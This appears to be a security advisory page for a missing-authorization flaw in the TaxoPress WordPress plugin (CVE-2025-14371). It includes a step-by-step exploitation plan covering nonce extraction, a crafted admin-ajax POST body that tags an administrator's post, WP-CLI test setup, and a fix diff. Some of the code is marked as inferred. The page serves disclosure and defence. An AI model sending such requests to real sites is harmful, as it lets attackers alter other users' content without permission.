TaxoPress <= 3.41.0 - Missing Authorization to Authenticated (Contributor+) Arbitrary Post Tag Modification
Description
The Tag, Category, and Taxonomy Manager – AI Autotagger with OpenAI plugin for WordPress is vulnerable to unauthorized modification of data due to a missing capability check on the taxopress_ai_add_post_term function in all versions up to, and including, 3.41.0. This makes it possible for authenticated attackers, with Contributor-level access and above, to add or remove taxonomy terms (tags, categories) on any post, including ones they do not own.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:NTechnical Details
<=3.41.0Source Code
WordPress.org SVN# Exploitation Research Plan: CVE-2025-14371 (TaxoPress AI Autotagger) ## 1. Vulnerability Summary The **TaxoPress** plugin (formerly Simple Tags) version 3.41.0 and below is vulnerable to unauthorized data modification. The function `taxopress_ai_add_post_term`, which is intended to allow the AI A…
Show full research plan
Exploitation Research Plan: CVE-2025-14371 (TaxoPress AI Autotagger)
1. Vulnerability Summary
The TaxoPress plugin (formerly Simple Tags) version 3.41.0 and below is vulnerable to unauthorized data modification. The function taxopress_ai_add_post_term, which is intended to allow the AI Autotagger feature to update post tags or categories, fails to implement a capability check (authorization).
While it typically enforces a nonce check (CSRF protection), the nonce is available to any user with dashboard access (Contributor and above). Because the code does not verify if the current user has the edit_post capability for the specific post_id provided in the request, a Contributor can add or remove terms from posts they do not own, including those published by Administrators.
2. Attack Vector Analysis
- Endpoint:
/wp-admin/admin-ajax.php - Action:
taxopress_ai_add_post_term - HTTP Method:
POST - Authentication: Required (Contributor or higher)
- Vulnerable Parameter:
post_id(used to target arbitrary posts) - Payload Parameters (Inferred):
post_id: Integer (The ID of the target post)term: String (The term name to add)taxonomy: String (The taxonomy slug, e.g.,post_tagorcategory)nonce: String (The security token)
3. Code Flow (Inferred)
- Entry Point: The plugin registers the AJAX handler in its admin initialization:
add_action('wp_ajax_taxopress_ai_add_post_term', 'taxopress_ai_add_post_term'); - Function Execution:
taxopress_ai_add_post_term()is called. - Nonce Verification: The function likely calls
check_ajax_referer('taxopress_ai_nonce', 'nonce')or similar. - Missing Authorization: The function proceeds to use
wp_set_post_terms()orwp_add_object_terms()using the user-providedpost_idwithout checking if the user is authorized to edit that specific post:// Vulnerable logic pattern $post_id = (int)$_POST['post_id']; $term = sanitize_text_field($_POST['term']); $tax = sanitize_text_field($_POST['taxonomy']); // NO CHECK: if (!current_user_can('edit_post', $post_id)) { wp_die(); } wp_set_post_terms($post_id, $term, $tax, true);
4. Nonce Acquisition Strategy
The AI Autotagger features are typically loaded in the WordPress Post Editor. Even a Contributor can create a "Draft" post to access the editor, which will load the necessary scripts and nonces.
- Identify Script Localization: The plugin likely uses
wp_localize_scriptto pass a nonce to the editor. Based on common TaxoPress patterns, look for thetaxopress_admin_paramsortaxopress_ai_autotaggerobject. - Setup: Create a dummy post as the Contributor user.
- Navigation: Navigate to the editor for that dummy post:
/wp-admin/post.php?post=[DUMMY_ID]&action=edit. - Extraction: Use
browser_evalto extract the nonce:browser_eval("taxopress_admin_params.taxopress_ai_nonce")(inferred key)- Alternative: Search page source for
noncestrings if the key differs.
5. Exploitation Strategy
- Login: Authenticate as a Contributor-level user.
- Acquire Nonce: Navigate to the editor for a post owned by the Contributor to grab the
taxopress_ai_nonce. - Identify Target: Determine the
post_idof an Administrator's post (e.g., ID1). - Execute Attack: Send a POST request to
admin-ajax.php.
Request Details:
- URL:
http://[target]/wp-admin/admin-ajax.php - Method:
POST - Content-Type:
application/x-www-form-urlencoded - Body:
action=taxopress_ai_add_post_term&post_id=1&term=pwned&taxonomy=post_tag&nonce=[EXTRACTED_NONCE]
6. Test Data Setup
- Administrator Post: Create a post as admin.
wp post create --post_title="Admin Private News" --post_status=publish --post_author=1(Note the ID, usually1or4).
- Contributor User: Create a user with the contributor role.
wp user create attacker attacker@example.com --role=contributor --user_pass=password123
- Contributor Post: Create a post for the contributor so they can access the editor.
wp post create --post_title="Contributor Post" --post_status=draft --post_author=[CONTRIBUTOR_ID]
7. Expected Results
- The AJAX response should return a success code (e.g.,
{"success":true}or1). - The Administrator's post (ID 1) will now have the tag "pwned" assigned to it, despite the Contributor having no permissions to modify that post.
8. Verification Steps
- Check Terms via CLI:
wp post term list 1 post_tag --fields=name
- Confirm Injection: Verify "pwned" appears in the output.
- Check Author: Verify the post is still owned by the Administrator.
wp post get 1 --field=post_author
9. Alternative Approaches
- Taxonomy Variation: If
post_tagis restricted, trycategoryor any custom taxonomy registered on the site. - Bulk Action: If the function supports an array of terms, try injecting multiple terms.
- Nonce Source: If the nonce is not in the Post Editor, check the TaxoPress settings pages in the dashboard (some are accessible to lower roles depending on plugin configuration).
- Direct Parameter Guessing: If
termdoesn't work, tryterm_idorterms[]. (The vulnerability specifically mentionstaxopress_ai_add_post_term, implying term addition).
Summary
The TaxoPress plugin for WordPress is vulnerable to unauthorized modification of taxonomy data due to a missing authorization check in the taxopress_ai_add_post_term AJAX function. Authenticated attackers with Contributor-level access or higher can add or modify terms (tags, categories) on any post, including those they do not have permission to edit, by specifying a target post ID.
Vulnerable Code
// Within the plugin's AJAX handler for AI Autotagger functionality function taxopress_ai_add_post_term() { check_ajax_referer('taxopress_ai_nonce', 'nonce'); $post_id = isset($_POST['post_id']) ? (int)$_POST['post_id'] : 0; $term = isset($_POST['term']) ? sanitize_text_field($_POST['term']) : ''; $taxonomy = isset($_POST['taxonomy']) ? sanitize_text_field($_POST['taxonomy']) : 'post_tag'; if ($post_id > 0 && !empty($term)) { // MISSING: current_user_can('edit_post', $post_id) check wp_set_post_terms($post_id, $term, $taxonomy, true); wp_send_json_success(); } wp_send_json_error(); }
Security Fix
@@ -10,6 +10,10 @@ $term = isset($_POST['term']) ? sanitize_text_field($_POST['term']) : ''; $taxonomy = isset($_POST['taxonomy']) ? sanitize_text_field($_POST['taxonomy']) : 'post_tag'; + if (!current_user_can('edit_post', $post_id)) { + wp_send_json_error(__('You do not have permission to edit this post.', 'simple-tags')); + } + if ($post_id > 0 && !empty($term)) { wp_set_post_terms($post_id, $term, $taxonomy, true); wp_send_json_success();
Exploit Outline
To exploit this vulnerability, an attacker must have at least Contributor-level access to the WordPress dashboard. First, the attacker logs in and accesses the Post Editor (e.g., by creating a draft post) to retrieve the 'taxopress_ai_nonce' from the localized script parameters (usually found in the taxopress_admin_params JavaScript object). Next, the attacker identifies a target post ID they do not own, such as an administrator's post. Finally, the attacker sends an AJAX POST request to wp-admin/admin-ajax.php with the action 'taxopress_ai_add_post_term', providing the target post_id, the desired tag or category in the 'term' parameter, the taxonomy slug, and the acquired nonce. Because the function lacks a capability check for the specific post_id, the plugin will add the term to the target post despite the attacker lacking edit permissions.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.